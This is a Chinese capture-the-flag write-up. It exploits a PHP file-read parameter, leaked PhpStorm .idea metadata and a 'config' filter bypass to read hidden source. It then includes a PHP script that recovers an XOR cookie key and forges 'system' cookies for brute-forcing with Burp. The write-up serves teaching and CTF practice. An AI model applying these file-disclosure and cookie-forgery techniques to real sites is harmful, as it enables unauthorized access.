Code-考脑洞,你能过么?

解题过程

观察URL为index.php?jpg=hei.jpg,推测是文件包含
修改jpg参数为index.php查看网页源码得到

PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbWU6IDE6MzENCiAqLw0KaGVhZGVyKCdjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgnKTsNCmlmKCEgaXNzZXQoJF9HRVRbJ2pwZyddKSkNCiAgICBoZWFkZXIoJ1JlZnJlc2g6MDt1cmw9Li9pbmRleC5waHA/anBnPWhlaS5qcGcnKTsNCiRmaWxlID0gJF9HRVRbJ2pwZyddOw0KZWNobyAnPHRpdGxlPmZpbGU6Jy4kZmlsZS4nPC90aXRsZT4nOw0KJGZpbGUgPSBwcmVnX3JlcGxhY2UoIi9bXmEtekEtWjAtOS5dKy8iLCIiLCAkZmlsZSk7DQokZmlsZSA9IHN0cl9yZXBsYWNlKCJjb25maWciLCJfIiwgJGZpbGUpOw0KJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsNCg0KZWNobyAiPGltZyBzcmM9J2RhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCwiLiR0eHQuIic+PC9pbWc+IjsNCg0KLyoNCiAqIENhbiB5b3UgZmluZCB0aGUgZmxhZyBmaWxlPw0KICoNCiAqLw0KDQo/Pg==

base64解码得到

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>

推知工程由Phpstorm创建,可能存在.idea/工程目录,泄露文件.idea/workspace.xml,访问得到:

<list>
<option value="$PROJECT_DIR$/x.php"/>
<option value="$PROJECT_DIR$/config.php"/>
<option value="$PROJECT_DIR$/fl3g_ichuqiu.php"/>
</list>

但在index.phpjpg参数经过如下过滤

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);

除了a-zA-Z0-9.的所有字符都会被过滤掉并且config被替换成下划线,则构造jpg=fl3gconfigichuqiu.php访问得到:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)	{
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "¨r(¨s¨Œ¨t)¨q";
}
?>

得知cookie中的user字段解密后为system则echo出flag,可通过给出的guest加密后的cookie爆出key的前五位,可通过16次枚举得到第六位,php脚本如下:

<?php
function ss($txt,$m)
{
	for($i=0;$i<strlen($m);$i++){
        $tmp .= chr(ord($m[$i])+10);
    }
    $m=$tmp;
    $tmp="";
    $txt=base64_decode($txt);
    $rnd=substr($txt, 0,4);
    $txt=substr($txt, 4);
    for($i=0;$i<strlen($txt);$i++)
    {
    	$key .= $txt[$i] ^ $m[$i];
    }
    $s='0123456789abcdef';
    $txt1='system';
    for($i=0;$i<strlen($txt1);$i++)
    {
        $tmp .= chr(ord($txt1[$i])+10);
    }
    $txt1=$tmp;
    $tmp='';
    for($i=0;$i<16;$i++)
    {
    	$tmp=$key.$s[$i];
    	for($ii=0;$ii<strlen($txt1);$ii++)
    	{
    		$txt2.=$txt1[$ii]^$tmp[$ii];
    	}
    	file_put_contents(out.txt, base64_encode($rnd.$txt2)."\r\n",FILE_APPEND);
    	$txt2='';

    }

}
ss('ZUZvYxAeCxsa','guest');
?>

得到字典

ZUZvYxziGRgLRw==
ZUZvYxziGRgLRg==
ZUZvYxziGRgLRQ==
ZUZvYxziGRgLRA==
ZUZvYxziGRgLQw==
ZUZvYxziGRgLQg==
ZUZvYxziGRgLQQ==
ZUZvYxziGRgLQA==
ZUZvYxziGRgLTw==
ZUZvYxziGRgLTg==
ZUZvYxziGRgLFg==
ZUZvYxziGRgLFQ==
ZUZvYxziGRgLFA==
ZUZvYxziGRgLEw==
ZUZvYxziGRgLEg==
ZUZvYxziGRgLEQ==

burp爆破得到flag{a83e44d0-c21e-40b7-b4c7-b4fe90524e5b}

知识小结

  • 文件包含漏洞利用
  • jetbrains公司的IDE可能产生的隐藏工程目录以及文件
  • 正则表达式的字面量/[^a-zA-Z0-9.]+/的格式
  • 异或运算是可逆的